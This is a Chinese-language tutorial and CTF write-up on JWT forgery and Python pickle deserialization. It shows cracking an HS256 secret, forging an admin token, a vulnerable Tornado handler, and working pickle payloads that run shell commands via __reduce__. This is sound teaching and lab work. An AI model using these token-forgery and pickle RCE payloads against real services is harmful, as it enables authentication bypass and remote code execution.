JWT以及python反序列化

JWT以及python反序列化

JWT

JWT,全称JSON Web Token,它是作为JSON对象在各方之间安全传输信息,该信息可以被验证和信任

JWT的使用场景

授权(Authorization):每个请求都会带有JWT,让其用户有允许访问特殊的路由、服务和资源的令牌

信息交换(Information Exchange):对于安全的在各方之间传输信息而言,JWT是很好的选择,因为JWT是有使用公钥/私钥签名的,而这个签名主要针对使用头和负载计算机,可以验证内容没有篡改

JWT构成

JWT由三部分构成,分别是header、payload、signature

1
header.payload.signature

header部分

header由两部分构成

1
2
3
4
token的类型,如:"typ":"JWT"

算法名称,如:"alg":"HS256"

然后用base64来进行加密,得到JWT的第一部分

payload部分

payloay包含声明,声明是用户和其它数据的声明,有三种类型

1
2
3
4
5
registered claims:预定义声明,不是强制的

public claims:可以随意定义

private claims:用于在同意使用它们的各方之间共享信息,不是公开的声明

实例

1
2
3
4
5
{
"sub":"1234567",
"name":"admds",
"admin":true
}

然后对payload进行base64加密,成为JWT的第二部分

Signature

Signature是一个签名,用来验证消息在传递过程中是否有篡改,并且,对于使用私钥签名的token,它还可以验证JWT的发送方是否为它所称的发送方

它的加密原理

1
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

其中的secret是私钥,一般会在注册登录的时候获得JWT,作为一个用户凭证

JWT的工作过程

当用户要访问受保护的资源的时候,则需要注册和登录,而就在这个过程中,用户会向授权服务器发出请求,授权服务器发出请求后,会返回一个JWT作为用户的凭证来访问受保护的资源,而JWT中的签名是用私钥加密的,提高了安全性

因此,如果我们伪造jwt的话,需要知道授权服务器的私钥,所以我们可以使用工具对私钥进行爆破,使用c-jwt-cracker,建议在ubuntu进行编译

1
c-jwt-cracker:https://github.com/brendan-rius/c-jwt-cracker

然后修改JWT的内容,再用获得的私钥进行加密,可以使用这个网站(https://jwt.io/),也可以使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import jwt

# payload
token_dict = {
"username":"admin"
}
#headers
headers = {
"alg":"HS256",
"typ":"JWT"
}

# 调用jwt库,生成json web token
jwt_token = jwt.encode(token_dict, # payload
"1Kun", # 进行加密签名的密钥
algorithm="HS256", # 指明签名算法方式,默认S256
headers=headers # headers
).encode('ascii').decode('ascii') # 把py3得到的byte转码

print(jwt_token)

JWT详细可看:https://www.cnblogs.com/cjsblog/p/9277677.html

python反序列化

python反序列化使用pickle库以及函数来进行序列化,和php的serialize和unserialize作用一样

Pickle库以及函数

pickle库让python可以实现序列化和反序列化,而它会将二进制形式的序列化保存在文件中,后缀为.pkl,但是文件不能直接打开预览,其中反序列化和序列化的函数有

1
2
3
4
5
6
7
dumps:对象序列化为bytes对象

dump:对象序列化到文件对象,存入文件

loads:从bytes对象反序列化

load:对象反序列化,从文件中读取数据

dump/load

实例

1
2
3
4
5
6
7
8
9
10
11
import pickle

#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数)
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数)
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)

看这串代码,我们可以知道dump函数以及load()函数的流程,就是用dump()函数将数据进行序列化,然后将序列化后得到的数据写入到一个文件中,然后load()函数读取文件,并将里面的数据进行反序列化

dumps/loads

实例

1
2
3
4
5
6
7
8
import pickle

#序列化
pickle.dumps(obj, protocol=None,*,fix_imports=True)
dumps()方法不需要写入文件中,直接返回一个序列化的bytes对象。
#反序列化
pickle.loads(bytes_object, *,fix_imports=True, encoding="ASCII". errors="strict")
loads()方法是直接从bytes对象中读取序列化的信息,而非从文件中读取。

我们可以知道dumps/loads的操作流程,即dumps()函数将数据进行序列化,并返回一个bytes对象出来,然后loads()函数直接从bytes对象中读取序列化的信息,然后进行反序列化即可,无需写入读取文件

PVM

对于python而言,python运行源码,是python解释器将源码编译成字节码,然后将字节码转发到python虚拟机中执行,即PVM就是用来解释字节码的引擎

PVM执行流程

首先PVM将源码编译成字节码,然后PVM再将字节码转发到python虚拟机中执行,不过两个阶段PVM不同,第一个是python解释器,第二个是python虚拟机

PVM与Pickle库的关系

Pickle是一门基于栈的编程语言,本质是一个轻量的PVM,它由三部分构成

指令处理器

1
从数据流中读取操作码和参数,并对其进行解释处理,在循环执行过程中会不改变stack和memo区域的值,直到遇到.这个结束符号

栈区(stack)

1
作为流数据处理过程中的暂存区,在不断进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果

标签区(medo)

1
可以看作是数据索引或者标记,即将反序列化完成的数据以key-value的形式存储在medo中

指令处理器的操作码

1
2
3
4
5
6
7
8
9
10
11
c:读取本行的内容作为模块名,读取下一行的内容作为对象名object,然后将module.object作为可调用对象压入到栈中

(:将一个标记对象压入到栈中,用于确定命令执行的位置,该标志一般和t指令一起使用,从而产生一个元组

S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中

t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中

R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中

. : 结束整个 Pickle 反序列化过程

Pickle/CPickle反序列化漏洞

python反序列化漏洞一般出现在__reduce__()函数中,它会在dumps/dump()函数进行序列化时,自动调用这个__reduce__()函数,

1
2
3
__reduce__()

当__reduce__()函数返回一个元组时,第一个元素为可调用对象,这个对象会在创建对象时被调用,第二个元素时可调用对象的参数,同样是一个元组。它的功能和PVM的R操作码功能相似

其实,R操作码就是__reduce__()函数的底层实现,在序列化快结束时,python进程会自动调用__reduce__()方法,所以如果我们可以控制被调用函数的参数,就可以执行恶意代码

反序列化漏洞出现位置
  1. 解析认证token、session的时候

  2. 将对象Pickle后存储在磁盘文件

  3. 将对象Pickle后在网络中传输

  4. 参数传递给程序

执行恶意代码的实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#模仿Epicccal师傅的例子
import pickle
import os

class Test2(object):
def __reduce__(self):
#被调用函数的参数
cmd = "/usr/bin/id"
return (os.system,(cmd,))

if __name__ == "__main__":
test = Test2()
#执行序列化操作
result1 = pickle.dumps(test)
#执行反序列化操作
result2 = pickle.loads(result1)

# __reduce__()魔法方法的返回值:
# return(os.system,(cmd,))
# 1.满足返回一个元组,元组中有两个参数
# 2.第一个参数是被调用函数 : os.system()
# 3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd
# 4. 因此反序列化时被解析执行的代码是 os.system("/usr/bin/id")

实例

但我们打开页面时,发现是一个购物的界面,下面有一个提示就是找到lv6,所以我们可以写一个脚本,来找到有lv6的页面

1
2
3
4
5
6
7
8
import requests
url="http://7d7dae3b-0ab3-41da-ade2-10a524bf05a3.node4.buuoj.cn:81/shop?page="

for i in range(2000):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break

发现lv6后,打开购买界面,发现它的购买金额已经大于我们的钱袋里的钱,但是有优惠金额,所以我们可以抓包,然后修改优惠金额,让我们可以买到,修改后却说不是admin用户用不了,然后看到包里有JWT这个验证信息

1
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

因此,我是用c-jwt-cracker爆破出密钥

1
1Kun

然后修改JWT中payload的值

1
{"username":"admin"}

然后用https://jwt.io/这个网站伪造一个JWT,放进包里,进行一个欺骗,然后进入到一个一键成为大会员的界面。之后打开页面源码,发现有源码泄露www.zip

得到源码后,由于我们当前的页面是admin的,所以我们打开y源码文件中的Admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

可以看见一处python反序列化漏洞

1
2
3
4
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1) #找到模板文件,进行渲染,从而显示页面

而self.get_argument(‘become’)是获取become参数的值,我们只要点击一键成为大会员,然后抓包就可以看见这个become参数。根据代码

1
p = pickle.loads(urllib.unquote(become))

我们要输入一串序列化的字符串进行,让它进行读取,前面提到了__reduce__()方法,可以执行恶意代码,而这里也没有什么过滤,所以可以直接构造序列化信息,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
# coding=utf8
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
# return (eval,(open('flag.txt').read(),))

a = payload()
print urllib.quote(pickle.dumps(a))

commands.getoutput()

1
可以获取程序执行后的返回值和输出

eval()

1
在php中是将参数当作php代码执行,而在python是将参数当作是表达式执行,并返回结果

详细可参考:https://blog.csdn.net/qq_43431158/article/details/108919605